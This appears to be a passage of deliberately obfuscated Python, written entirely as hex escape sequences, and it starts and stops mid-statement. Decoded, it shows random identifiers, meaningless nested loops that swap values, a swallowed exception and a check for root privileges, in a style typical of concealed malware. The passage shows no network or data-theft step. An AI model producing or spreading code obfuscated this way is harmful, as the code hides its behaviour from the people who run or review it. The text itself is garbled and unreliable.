\x56\x47\x78\x44\x64\x42\x48\x69\x43\x4a\x6c\x6f\x49\x69\x53\x6c\x41\x45\x52\x46\x47\x7a\x52\x47\x69\x49\x5a\x45\x46\x79\x42\x79\x79\x53\x48\x50\x59\x46\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x5d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x66\x6f\x72\x20\x77\x74\x72\x50\x53\x7a\x48\x44\x44\x50\x4a\x52\x50\x46\x67\x62\x42\x6a\x75\x4c\x76\x78\x71\x50\x44\x6a\x70\x51\x49\x48\x43\x42\x53\x41\x75\x73\x49\x52\x45\x56\x61\x48\x41\x73\x70\x45\x72\x78\x70\x75\x6e\x53\x78\x4a\x5a\x78\x74\x7a\x76\x75\x48\x47\x48\x48\x6a\x41\x4a\x4e\x71\x79\x52\x76\x4a\x76\x74\x42\x46\x47\x5a\x75\x6b\x74\x49\x5a\x6e\x49\x42\x41\x50\x65\x42\x74\x47\x4f\x76\x53\x76\x4e\x53\x42\x73\x78\x53\x6c\x4a\x49\x77\x45\x54\x73\x73\x46\x47\x51\x79\x4a\x73\x4e\x4c\x79\x65\x44\x78\x50\x42\x47\x6e\x20\x69\x6e\x20\x48\x59\x4e\x54\x52\x4d\x49\x44\x41\x76\x77\x50\x78\x52\x51\x52\x78\x52\x4a\x44\x51\x4e\x62\x4f\x56\x79\x69\x74\x6c\x51\x58\x42\x52\x4a\x43\x79\x47\x73\x79\x51\x73\x47\x79\x53\x71\x54\x75\x65\x78\x52\x48\x47\x4e\x73\x46\x4a\x4d\x66\x68\x53\x72\x77\x48\x44\x42\x50\x47\x4a\x53\x45\x59\x50\x4a\x48\x53\x6c\x41\x6f\x49\x43\x48\x5a\x41\x49\x79\x6a\x4a\x52\x76\x72\x68\x76\x7a\x49\x45\x74\x74\x52\x78\x4a\x6d\x6e\x46\x74\x50\x52\x59\x76\x74\x43\x77\x6f\x48\x48\x44\x61\x51\x45\x50\x75\x78\x75\x53\x6f\x53\x51\x51\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x66\x6f\x72\x20\x56\x71\x52\x50\x6a\x62\x74\x47\x50\x41\x6b\x44\x42\x73\x47\x43\x71\x41\x69\x73\x69\x72\x78\x43\x78\x79\x69\x4f\x76\x4f\x74\x72\x73\x75\x76\x44\x44\x48\x47\x47\x6e\x42\x75\x49\x74\x46\x50\x47\x53\x4a\x73\x52\x79\x59\x78\x52\x44\x58\x4a\x50\x75\x4c\x48\x49\x76\x7a\x4f\x5a\x4e\x75\x53\x4e\x7a\x52\x4f\x48\x78\x68\x74\x69\x7a\x72\x4d\x6f\x4a\x43\x53\x51\x64\x41\x42\x48\x50\x79\x49\x71\x7a\x43\x54\x72\x42\x74\x50\x52\x46\x53\x52\x43\x51\x52\x4a\x47\x48\x75\x75\x50\x78\x57\x6a\x5a\x4f\x54\x79\x43\x42\x62\x76\x20\x69\x6e\x20\x6d\x4a\x48\x46\x43\x77\x44\x49\x50\x41\x45\x7a\x4f\x53\x49\x53\x49\x49\x59\x50\x41\x51\x48\x48\x6c\x6e\x61\x4a\x4a\x76\x79\x4f\x73\x6a\x57\x59\x51\x47\x70\x49\x4a\x4d\x7a\x49\x44\x62\x48\x6b\x76\x4f\x54\x43\x79\x79\x79\x74\x41\x43\x4f\x77\x79\x4a\x49\x51\x56\x48\x4e\x4a\x78\x71\x41\x6d\x7a\x6a\x78\x46\x44\x52\x77\x47\x44\x48\x55\x73\x77\x52\x74\x75\x67\x77\x78\x50\x4a\x44\x43\x77\x43\x76\x43\x43\x49\x4e\x74\x58\x4f\x53\x6c\x50\x49\x49\x45\x78\x79\x4e\x4a\x49\x5a\x79\x74\x48\x76\x77\x71\x78\x72\x4a\x51\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x48\x4a\x4d\x42\x76\x76\x4f\x6f\x46\x52\x53\x6a\x53\x71\x74\x49\x72\x78\x4e\x4c\x47\x54\x53\x59\x73\x72\x6d\x51\x68\x66\x52\x73\x7a\x44\x52\x43\x4a\x69\x76\x77\x4f\x76\x53\x52\x47\x71\x77\x5a\x6d\x4a\x47\x78\x6c\x49\x74\x53\x4a\x74\x49\x75\x4e\x42\x43\x51\x74\x53\x75\x43\x48\x73\x74\x52\x7a\x74\x71\x49\x53\x41\x4d\x43\x55\x4e\x76\x4e\x79\x47\x76\x7a\x61\x51\x7a\x78\x53\x53\x41\x4e\x44\x68\x46\x74\x71\x53\x43\x57\x49\x4f\x70\x4e\x41\x6e\x73\x48\x43\x75\x41\x46\x4a\x71\x66\x59\x44\x49\x7a\x51\x43\x50\x73\x20\x3d\x3d\x20\x72\x46\x6c\x79\x53\x79\x44\x54\x49\x78\x56\x51\x58\x50\x42\x79\x46\x48\x79\x48\x78\x58\x45\x77\x48\x58\x70\x4a\x6d\x78\x4d\x72\x4a\x69\x77\x68\x79\x78\x41\x43\x77\x6f\x75\x44\x53\x6b\x47\x42\x52\x4e\x46\x79\x47\x78\x74\x41\x57\x43\x6c\x50\x41\x42\x49\x4a\x41\x53\x77\x45\x7a\x53\x4a\x75\x6b\x66\x43\x5a\x66\x75\x43\x79\x67\x6a\x43\x54\x4a\x5a\x7a\x51\x52\x56\x49\x4f\x49\x5a\x57\x71\x41\x44\x41\x53\x47\x46\x48\x6f\x59\x79\x75\x7a\x6b\x72\x42\x45\x4a\x74\x47\x42\x48\x4d\x65\x45\x75\x70\x50\x43\x4d\x70\x44\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x56\x71\x52\x50\x6a\x62\x74\x47\x50\x41\x6b\x44\x42\x73\x47\x43\x71\x41\x69\x73\x69\x72\x78\x43\x78\x79\x69\x4f\x76\x4f\x74\x72\x73\x75\x76\x44\x44\x48\x47\x47\x6e\x42\x75\x49\x74\x46\x50\x47\x53\x4a\x73\x52\x79\x59\x78\x52\x44\x58\x4a\x50\x75\x4c\x48\x49\x76\x7a\x4f\x5a\x4e\x75\x53\x4e\x7a\x52\x4f\x48\x78\x68\x74\x69\x7a\x72\x4d\x6f\x4a\x43\x53\x51\x64\x41\x42\x48\x50\x79\x49\x71\x7a\x43\x54\x72\x42\x74\x50\x52\x46\x53\x52\x43\x51\x52\x4a\x47\x48\x75\x75\x50\x78\x57\x6a\x5a\x4f\x54\x79\x43\x42\x62\x76\x20\x3d\x20\x77\x74\x72\x50\x53\x7a\x48\x44\x44\x50\x4a\x52\x50\x46\x67\x62\x42\x6a\x75\x4c\x76\x78\x71\x50\x44\x6a\x70\x51\x49\x48\x43\x42\x53\x41\x75\x73\x49\x52\x45\x56\x61\x48\x41\x73\x70\x45\x72\x78\x70\x75\x6e\x53\x78\x4a\x5a\x78\x74\x7a\x76\x75\x48\x47\x48\x48\x6a\x41\x4a\x4e\x71\x79\x52\x76\x4a\x76\x74\x42\x46\x47\x5a\x75\x6b\x74\x49\x5a\x6e\x49\x42\x41\x50\x65\x42\x74\x47\x4f\x76\x53\x76\x4e\x53\x42\x73\x78\x53\x6c\x4a\x49\x77\x45\x54\x73\x73\x46\x47\x51\x79\x4a\x73\x4e\x4c\x79\x65\x44\x78\x50\x42\x47\x6e\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6c\x69\x66\x20\x72\x46\x6c\x79\x53\x79\x44\x54\x49\x78\x56\x51\x58\x50\x42\x79\x46\x48\x79\x48\x78\x58\x45\x77\x48\x58\x70\x4a\x6d\x78\x4d\x72\x4a\x69\x77\x68\x79\x78\x41\x43\x77\x6f\x75\x44\x53\x6b\x47\x42\x52\x4e\x46\x79\x47\x78\x74\x41\x57\x43\x6c\x50\x41\x42\x49\x4a\x41\x53\x77\x45\x7a\x53\x4a\x75\x6b\x66\x43\x5a\x66\x75\x43\x79\x67\x6a\x43\x54\x4a\x5a\x7a\x51\x52\x56\x49\x4f\x49\x5a\x57\x71\x41\x44\x41\x53\x47\x46\x48\x6f\x59\x79\x75\x7a\x6b\x72\x42\x45\x4a\x74\x47\x42\x48\x4d\x65\x45\x75\x70\x50\x43\x4d\x70\x44\x20\x3d\x3d\x20\x56\x71\x52\x50\x6a\x62\x74\x47\x50\x41\x6b\x44\x42\x73\x47\x43\x71\x41\x69\x73\x69\x72\x78\x43\x78\x79\x69\x4f\x76\x4f\x74\x72\x73\x75\x76\x44\x44\x48\x47\x47\x6e\x42\x75\x49\x74\x46\x50\x47\x53\x4a\x73\x52\x79\x59\x78\x52\x44\x58\x4a\x50\x75\x4c\x48\x49\x76\x7a\x4f\x5a\x4e\x75\x53\x4e\x7a\x52\x4f\x48\x78\x68\x74\x69\x7a\x72\x4d\x6f\x4a\x43\x53\x51\x64\x41\x42\x48\x50\x79\x49\x71\x7a\x43\x54\x72\x42\x74\x50\x52\x46\x53\x52\x43\x51\x52\x4a\x47\x48\x75\x75\x50\x78\x57\x6a\x5a\x4f\x54\x79\x43\x42\x62\x76\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x56\x71\x52\x50\x6a\x62\x74\x47\x50\x41\x6b\x44\x42\x73\x47\x43\x71\x41\x69\x73\x69\x72\x78\x43\x78\x79\x69\x4f\x76\x4f\x74\x72\x73\x75\x76\x44\x44\x48\x47\x47\x6e\x42\x75\x49\x74\x46\x50\x47\x53\x4a\x73\x52\x79\x59\x78\x52\x44\x58\x4a\x50\x75\x4c\x48\x49\x76\x7a\x4f\x5a\x4e\x75\x53\x4e\x7a\x52\x4f\x48\x78\x68\x74\x69\x7a\x72\x4d\x6f\x4a\x43\x53\x51\x64\x41\x42\x48\x50\x79\x49\x71\x7a\x43\x54\x72\x42\x74\x50\x52\x46\x53\x52\x43\x51\x52\x4a\x47\x48\x75\x75\x50\x78\x57\x6a\x5a\x4f\x54\x79\x43\x42\x62\x76\x20\x3d\x20\x48\x59\x4e\x54\x52\x4d\x49\x44\x41\x76\x77\x50\x78\x52\x51\x52\x78\x52\x4a\x44\x51\x4e\x62\x4f\x56\x79\x69\x74\x6c\x51\x58\x42\x52\x4a\x43\x79\x47\x73\x79\x51\x73\x47\x79\x53\x71\x54\x75\x65\x78\x52\x48\x47\x4e\x73\x46\x4a\x4d\x66\x68\x53\x72\x77\x48\x44\x42\x50\x47\x4a\x53\x45\x59\x50\x4a\x48\x53\x6c\x41\x6f\x49\x43\x48\x5a\x41\x49\x79\x6a\x4a\x52\x76\x72\x68\x76\x7a\x49\x45\x74\x74\x52\x78\x4a\x6d\x6e\x46\x74\x50\x52\x59\x76\x74\x43\x77\x6f\x48\x48\x44\x61\x51\x45\x50\x75\x78\x75\x53\x6f\x53\x51\x51\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6c\x73\x65\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x72\x46\x6c\x79\x53\x79\x44\x54\x49\x78\x56\x51\x58\x50\x42\x79\x46\x48\x79\x48\x78\x58\x45\x77\x48\x58\x70\x4a\x6d\x78\x4d\x72\x4a\x69\x77\x68\x79\x78\x41\x43\x77\x6f\x75\x44\x53\x6b\x47\x42\x52\x4e\x46\x79\x47\x78\x74\x41\x57\x43\x6c\x50\x41\x42\x49\x4a\x41\x53\x77\x45\x7a\x53\x4a\x75\x6b\x66\x43\x5a\x66\x75\x43\x79\x67\x6a\x43\x54\x4a\x5a\x7a\x51\x52\x56\x49\x4f\x49\x5a\x57\x71\x41\x44\x41\x53\x47\x46\x48\x6f\x59\x79\x75\x7a\x6b\x72\x42\x45\x4a\x74\x47\x42\x48\x4d\x65\x45\x75\x70\x50\x43\x4d\x70\x44\x20\x3d\x20\x48\x59\x4e\x54\x52\x4d\x49\x44\x41\x76\x77\x50\x78\x52\x51\x52\x78\x52\x4a\x44\x51\x4e\x62\x4f\x56\x79\x69\x74\x6c\x51\x58\x42\x52\x4a\x43\x79\x47\x73\x79\x51\x73\x47\x79\x53\x71\x54\x75\x65\x78\x52\x48\x47\x4e\x73\x46\x4a\x4d\x66\x68\x53\x72\x77\x48\x44\x42\x50\x47\x4a\x53\x45\x59\x50\x4a\x48\x53\x6c\x41\x6f\x49\x43\x48\x5a\x41\x49\x79\x6a\x4a\x52\x76\x72\x68\x76\x7a\x49\x45\x74\x74\x52\x78\x4a\x6d\x6e\x46\x74\x50\x52\x59\x76\x74\x43\x77\x6f\x48\x48\x44\x61\x51\x45\x50\x75\x78\x75\x53\x6f\x53\x51\x51\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x66\x6f\x72\x20\x56\x71\x52\x50\x6a\x62\x74\x47\x50\x41\x6b\x44\x42\x73\x47\x43\x71\x41\x69\x73\x69\x72\x78\x43\x78\x79\x69\x4f\x76\x4f\x74\x72\x73\x75\x76\x44\x44\x48\x47\x47\x6e\x42\x75\x49\x74\x46\x50\x47\x53\x4a\x73\x52\x79\x59\x78\x52\x44\x58\x4a\x50\x75\x4c\x48\x49\x76\x7a\x4f\x5a\x4e\x75\x53\x4e\x7a\x52\x4f\x48\x78\x68\x74\x69\x7a\x72\x4d\x6f\x4a\x43\x53\x51\x64\x41\x42\x48\x50\x79\x49\x71\x7a\x43\x54\x72\x42\x74\x50\x52\x46\x53\x52\x43\x51\x52\x4a\x47\x48\x75\x75\x50\x78\x57\x6a\x5a\x4f\x54\x79\x43\x42\x62\x76\x20\x69\x6e\x20\x57\x6a\x4c\x42\x59\x41\x51\x4a\x73\x47\x48\x47\x43\x58\x4f\x43\x71\x73\x71\x7a\x4e\x75\x6f\x54\x70\x53\x4c\x48\x46\x79\x45\x47\x50\x4a\x6c\x52\x43\x45\x43\x76\x7a\x6b\x49\x6c\x48\x79\x56\x49\x7a\x43\x71\x48\x41\x53\x7a\x69\x70\x41\x50\x4e\x53\x50\x75\x50\x52\x53\x41\x49\x52\x78\x70\x48\x71\x53\x77\x6a\x71\x7a\x47\x4a\x48\x41\x72\x47\x53\x50\x43\x4d\x49\x49\x79\x42\x58\x52\x45\x49\x45\x42\x4f\x56\x50\x78\x76\x49\x6a\x75\x53\x74\x6f\x4a\x50\x4f\x50\x6e\x70\x73\x45\x4a\x53\x43\x48\x7a\x44\x45\x53\x47\x42\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6d\x4a\x48\x46\x43\x77\x44\x49\x50\x41\x45\x7a\x4f\x53\x49\x53\x49\x49\x59\x50\x41\x51\x48\x48\x6c\x6e\x61\x4a\x4a\x76\x79\x4f\x73\x6a\x57\x59\x51\x47\x70\x49\x4a\x4d\x7a\x49\x44\x62\x48\x6b\x76\x4f\x54\x43\x79\x79\x79\x74\x41\x43\x4f\x77\x79\x4a\x49\x51\x56\x48\x4e\x4a\x78\x71\x41\x6d\x7a\x6a\x78\x46\x44\x52\x77\x47\x44\x48\x55\x73\x77\x52\x74\x75\x67\x77\x78\x50\x4a\x44\x43\x77\x43\x76\x43\x43\x49\x4e\x74\x58\x4f\x53\x6c\x50\x49\x49\x45\x78\x79\x4e\x4a\x49\x5a\x79\x74\x48\x76\x77\x71\x78\x72\x4a\x51\x20\x3d\x20\x56\x71\x52\x50\x6a\x62\x74\x47\x50\x41\x6b\x44\x42\x73\x47\x43\x71\x41\x69\x73\x69\x72\x78\x43\x78\x79\x69\x4f\x76\x4f\x74\x72\x73\x75\x76\x44\x44\x48\x47\x47\x6e\x42\x75\x49\x74\x46\x50\x47\x53\x4a\x73\x52\x79\x59\x78\x52\x44\x58\x4a\x50\x75\x4c\x48\x49\x76\x7a\x4f\x5a\x4e\x75\x53\x4e\x7a\x52\x4f\x48\x78\x68\x74\x69\x7a\x72\x4d\x6f\x4a\x43\x53\x51\x64\x41\x42\x48\x50\x79\x49\x71\x7a\x43\x54\x72\x42\x74\x50\x52\x46\x53\x52\x43\x51\x52\x4a\x47\x48\x75\x75\x50\x78\x57\x6a\x5a\x4f\x54\x79\x43\x42\x62\x76\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x65\x78\x63\x65\x70\x74\x20\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x70\x61\x73\x73\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x79\x45\x66\x7a\x6e\x70\x5a\x42\x46\x4a\x77\x46\x46\x6a\x4d\x73\x53\x74\x47\x79\x46\x78\x71\x6f\x47\x49\x76\x73\x53\x73\x72\x71\x74\x4a\x58\x44\x43\x47\x47\x53\x54\x78\x6e\x43\x78\x46\x77\x63\x49\x75\x76\x4f\x73\x44\x4a\x45\x75\x4a\x65\x46\x56\x73\x42\x46\x52\x71\x42\x41\x42\x74\x71\x70\x48\x76\x49\x72\x45\x73\x73\x67\x52\x4b\x51\x73\x4f\x77\x53\x41\x6a\x53\x53\x6a\x64\x49\x74\x78\x77\x79\x71\x43\x46\x51\x65\x58\x50\x58\x72\x72\x77\x4d\x73\x4f\x48\x49\x51\x74\x77\x6c\x68\x6d\x4f\x52\x6d\x78\x4a\x78\x52\x20\x3d\x20\x6f\x73\x2e\x67\x65\x74\x75\x69\x64\x28\x29\x20\x3d\x3d\x20\x30\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x52\x75\x48\x6d\x4f\x69\x52\x6a\x52\x46\x55\x4a\x6f\x7a\x4a\x45\x46\x51\x79\x6f\x4a\x79\x49\x4d\x71\x7a\x47\x71\x45\x4f\x78\x55\x52\x49\x54\x50\x71\x43\x58\x70\x44\x6a\x51\x71\x47\x53\x7a\x48\x7a\x64\x57\x47\x44\x66\x74\x49\x78\x6f\x55\x41\x4a\x46\x42\x48\x55\x45\x59\x6e\x46\x49\x56\x4a\x77\x42\x75\x43\x73\x45\x46\x4d\x52\x79\x74\x53\x75\x72\x78\x6d\x43\x77\x7a\x4e\x50\x4a\x78\x50\x47\x79\x78\x45\x79\x76\x71\x50\x70\x53\x71\x54\x52\x48\x55\x75\x58\x6b\x42\x47\x47\x51\x44\x6e\x71\x48\x77\x52\x49\x66\x53\x20\x3d\x20\x27\x4a\x57\x4c\x51\x47\x7a\x6e\x6d\x45\x47\x58\x65\x75\x4c\x72\x56\x47\x48\x49\x6d\x6a\x79\x43\x4a\x72\x78\x47\x72\x4d\x53\x5a\x53\x56\x79\x47\x4e\x7a\x52\x46\x53\x52\x4a\x77\x56\x79\x76\x75\x79\x69\x42\x4a\x41\x75\x44\x47\x46\x48\x50\x79\x50\x49\x77\x70\x7a\x70\x68\x55\x41\x47\x7a\x76\x45\x47\x79\x52\x72\x78\x53\x4a\x73\x77\x6d\x47\x48\x4a\x6c\x49\x47\x4d\x41\x78\x71\x4e\x4a\x48\x42\x51\x6f\x4a\x41\x43\x46\x55\x67\x79\x4e\x43\x4a\x47\x6d\x5a\x73\x42\x49\x49\x53\x42\x61\x44\x45\x48\x50\x47\x47\x50\x42\x7a\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x47\x47\x74\x74\x74\x52\x52\x47\x75\x4a\x4a\x52\x52\x69\x6c\x76\x74\x73\x78\x79\x69\x42\x45\x41\x4f\x75\x49\x79\x78\x53\x4c\x73\x4d\x51\x51\x41\x4a\x59\x50\x42\x48\x71\x78\x6d\x72\x45\x4a\x75\x44\x51\x76\x45\x53\x45\x76\x41\x44\x52\x7a\x49\x73\x7a\x51\x43\x79\x72\x48\x76\x74\x5a\x44\x6e\x67\x76\x76\x4a\x45\x72\x69\x75\x79\x69\x6e\x50\x44\x43\x73\x42\x45\x77\x47\x74\x52\x43\x4f\x4d\x4c\x74\x48\x73\x79\x41\x59\x49\x6a\x49\x4d\x6b\x6f\x78\x53\x50\x6a\x73\x76\x50\x4a\x4e\x48\x4a\x6f\x46\x55\x46\x48\x6f\x73\x20\x3d\x20\x27\x51\x45\x47\x51\x79\x45\x67\x56\x56\x57\x47\x76\x53\x69\x47\x41\x6f\x79\x79\x41\x76\x6a\x6c\x6f\x77\x46\x71\x51\x48\x7a\x71\x7a\x52\x66\x6a\x51\x44\x53\x65\x49\x52\x5a\x53\x6d\x7a\x66\x78\x77\x47\x4f\x5a\x6c\x4e\x63\x53\x42\x59\x45\x47\x76\x50\x44\x45\x55\x49\x66\x44\x49\x79\x79\x4a\x79\x4d\x6e\x75\x74\x50\x78\x51\x77\x74\x42\x72\x50\x6d\x6e\x4a\x43\x71\x42\x43\x58\x4f\x61\x51\x42\x50\x45\x75\x52\x50\x53\x53\x4a\x71\x45\x49\x55\x53\x73\x74\x68\x41\x43\x48\x43\x41\x76\x79\x56\x76\x47\x79\x53\x43\x42\x6e\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x52\x75\x48\x6d\x4f\x69\x52\x6a\x52\x46\x55\x4a\x6f\x7a\x4a\x45\x46\x51\x79\x6f\x4a\x79\x49\x4d\x71\x7a\x47\x71\x45\x4f\x78\x55\x52\x49\x54\x50\x71\x43\x58\x70\x44\x6a\x51\x71\x47\x53\x7a\x48\x7a\x64\x57\x47\x44\x66\x74\x49\x78\x6f\x55\x41\x4a\x46\x42\x48\x55\x45\x59\x6e\x46\x49\x56\x4a\x77\x42\x75\x43\x73\x45\x46\x4d\x52\x79\x74\x53\x75\x72\x78\x6d\x43\x77\x7a\x4e\x50\x4a\x78\x50\x47\x79\x78\x45\x79\x76\x71\x50\x70\x53\x71\x54\x52\x48\x55\x75\x58\x6b\x42\x47\x47\x51\x44\x6e\x71\x48\x77\x52\x49\x66\x53\x20\x21\x3d\x20\x47\x47\x74\x74\x74\x52\x52\x47\x75\x4a\x4a\x52\x52\x69\x6c\x76\x74\x73\x78\x79\x69\x42\x45\x41\x4f\x75\x49\x79\x78\x53\x4c\x73\x4d\x51\x51\x41\x4a\x59\x50\x42\x48\x71\x78\x6d\x72\x45\x4a\x75\x44\x51\x76\x45\x53\x45\x76\x41\x44\x52\x7a\x49\x73\x7a\x51\x43\x79\x72\x48\x76\x74\x5a\x44\x6e\x67\x76\x76\x4a\x45\x72\x69\x75\x79\x69\x6e\x50\x44\x43\x73\x42\x45\x77\x47\x74\x52\x43\x4f\x4d\x4c\x74\x48\x73\x79\x41\x59\x49\x6a\x49\x4d\x6b\x6f\x78\x53\x50\x6a\x73\x76\x50\x4a\x4e\x48\x4a\x6f\x46\x55\x46\x48\x6f\x73\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x52\x75\x48\x6d\x4f\x69\x52\x6a\x52\x46\x55\x4a\x6f\x7a\x4a\x45\x46\x51\x79\x6f\x4a\x79\x49\x4d\x71\x7a\x47\x71\x45\x4f\x78\x55\x52\x49\x54\x50\x71\x43\x58\x70\x44\x6a\x51\x71\x47\x53\x7a\x48\x7a\x64\x57\x47\x44\x66\x74\x49\x78\x6f\x55\x41\x4a\x46\x42\x48\x55\x45\x59\x6e\x46\x49\x56\x4a\x77\x42\x75\x43\x73\x45\x46\x4d\x52\x79\x74\x53\x75\x72\x78\x6d\x43\x77\x7a\x4e\x50\x4a\x78\x50\x47\x79\x78\x45\x79\x76\x71\x50\x70\x53\x71\x54\x52\x48\x55\x75\x58\x6b\x42\x47\x47\x51\x44\x6e\x71\x48\x77\x52\x49\x66\x53\x20\x3d\x20\x27\x51\x45\x47\x51\x79\x45\x67\x56\x56\x57\x47\x76\x53\x69\x47\x41\x6f\x79\x79\x41\x76\x6a\x6c\x6f\x77\x46\x71\x51\x48\x7a\x71\x7a\x52\x66\x6a\x51\x44\x53\x65\x49\x52\x5a\x53\x6d\x7a\x66\x78\x77\x47\x4f\x5a\x6c\x4e\x63\x53\x42\x59\x45\x47\x76\x50\x44\x45\x55\x49\x66\x44\x49\x79\x79\x4a\x79\x4d\x6e\x75\x74\x50\x78\x51\x77\x74\x42\x72\x50\x6d\x6e\x4a\x43\x71\x42\x43\x58\x4f\x61\x51\x42\x50\x45\x75\x52\x50\x53\x53\x4a\x71\x45\x49\x55\x53\x73\x74\x68\x41\x43\x48\x43\x41\x76\x79\x56\x76\x47\x79\x53\x43\x42\x6e\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x47\x47\x74\x74\x74\x52\x52\x47\x75\x4a\x4a\x52\x52\x69\x6c\x76\x74\x73\x78\x79\x69\x42\x45\x41\x4f\x75\x49\x79\x78\x53\x4c\x73\x4d\x51\x51\x41\x4a\x59\x50\x42\x48\x71\x78\x6d\x72\x45\x4a\x75\x44\x51\x76\x45\x53\x45\x76\x41\x44\x52\x7a\x49\x73\x7a\x51\x43\x79\x72\x48\x76\x74\x5a\x44\x6e\x67\x76\x76\x4a\x45\x72\x69\x75\x79\x69\x6e\x50\x44\x43\x73\x42\x45\x77\x47\x74\x52\x43\x4f\x4d\x4c\x74\x48\x73\x79\x41\x59\x49\x6a\x49\x4d\x6b\x6f\x78\x53\x50\x6a\x73\x76\x50\x4a\x4e\x48\x4a\x6f\x46\x55\x46\x48\x6f\x73\x20\x3d\x20\x52\x75\x48\x6d\x4f\x69\x52\x6a\x52\x46\x55\x4a\x6f\x7a\x4a\x45\x46\x51\x79\x6f\x4a\x79\x49\x4d\x71\x7a\x47\x71\x45\x4f\x78\x55\x52\x49\x54\x50\x71\x43\x58\x70\x44\x6a\x51\x71\x47\x53\x7a\x48\x7a\x64\x57\x47\x44\x66\x74\x49\x78\x6f\x55\x41\x4a\x46\x42\x48\x55\x45\x59\x6e\x46\x49\x56\x4a\x77\x42\x75\x43\x73\x45\x46\x4d\x52\x79\x74\x53\x75\x72\x78\x6d\x43\x77\x7a\x4e\x50\x4a\x78\x50\x47\x79\x78\x45\x79\x76\x71\x50\x70\x53\x71\x54\x52\x48\x55\x75\x58\x6b\x42\x47\x47\x51\x44\x6e\x71\x48\x77\x52\x49\x66\x53\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x52\x75\x48\x6d\x4f\x69\x52\x6a\x52\x46\x55\x4a\x6f\x7a\x4a\x45\x46\x51\x79\x6f\x4a\x79\x49\x4d\x71\x7a\x47\x71\x45\x4f\x78\x55\x52\x49\x54\x50\x71\x43\x58\x70\x44\x6a\x51\x71\x47\x53\x7a\x48\x7a\x64\x57\x47\x44\x66\x74\x49\x78\x6f\x55\x41\x4a\x46\x42\x48\x55\x45\x59\x6e\x46\x49\x56\x4a\x77\x42\x75\x43\x73\x45\x46\x4d\x52\x79\x74\x53\x75\x72\x78\x6d\x43\x77\x7a\x4e\x50\x4a\x78\x50\x47\x79\x78\x45\x79\x76\x71\x50\x70\x53\x71\x54\x52\x48\x55\x75\x58\x6b\x42\x47\x47\x51\x44\x6e\x71\x48\x77\x52\x49\x66\x53\x20\x3d\x20\x27\x4a\x57\x4c\x51\x47\x7a\x6e\x6d\x45\x47\x58\x65\x75\x4c\x72\x56\x47\x48\x49\x6d\x6a\x79\x43\x4a\x72\x78\x47\x72\x4d\x53\x5a\x53\x56\x79\x47\x4e\x7a\x52\x46\x53\x52\x4a\x77\x56\x79\x76\x75\x79\x69\x42\x4a\x41\x75\x44\x47\x46\x48\x50\x79\x50\x49\x77\x70\x7a\x70\x68\x55\x41\x47\x7a\x76\x45\x47\x79\x52\x72\x78\x53\x4a\x73\x77\x6d\x47\x48\x4a\x6c\x49\x47\x4d\x41\x78\x71\x4e\x4a\x48\x42\x51\x6f\x4a\x41\x43\x46\x55\x67\x79\x4e\x43\x4a\x47\x6d\x5a\x73\x42\x49\x49\x53\x42\x61\x44\x45\x48\x50\x47\x47\x50\x42\x7a\x27\x0a\x20\x20\x20\x20\x44\x46\x49\x52\x73\x7a\x73\x44\x52\x7a\x51\x7a\x48\x74\x55\x71\x54\x49\x78\x41\x49\x48\x51\x43\x42\x75\x74\x43\x4c\x4c\x4e\x77\x4f\x6f\x68\x79\x6d\x52\x4a\x79\x71\x5a\x52\x74\x58\x79\x52\x79\x4f\x79\x49\x6b\x44\x41\x42\x4a\x49\x46\x41\x53\x79\x4d\x42\x44\x44\x48\x58\x58\x6e\x59\x46\x65\x41\x76\x74\x79\x50\x77\x79\x70\x75\x4a\x49\x66\x49\x52\x47\x71\x45\x7a\x79\x42\x43\x71\x73\x47\x6b\x41\x49\x54\x65\x45\x58\x4a\x4a\x74\x53\x46\x71\x7a\x46\x51\x52\x52\x6a\x46\x53\x45\x6b\x75\x79\x78\x78\x77\x4f\x78\x58\x20\x3d\x20\x27\x59\x65\x73\x27\x20\x69\x66\x20\x79\x45\x66\x7a\x6e\x70\x5a\x42\x46\x4a\x77\x46\x46\x6a\x4d\x73\x53\x74\x47\x79\x46\x78\x71\x6f\x47\x49\x76\x73\x53\x73\x72\x71\x74\x4a\x58\x44\x43\x47\x47\x53\x54\x78\x6e\x43\x78\x46\x77\x63\x49\x75\x76\x4f\x73\x44\x4a\x45\x75\x4a\x65\x46\x56\x73\x42\x46\x52\x71\x42\x41\x42\x74\x71\x70\x48\x76\x49\x72\x45\x73\x73\x67\x52\x4b\x51\x73\x4f\x77\x53\x41\x6a\x53\x53\x6a\x64\x49\x74\x78\x77\x79\x71\x43\x46\x51\x65\x58\x50\x58\x72\x72\x77\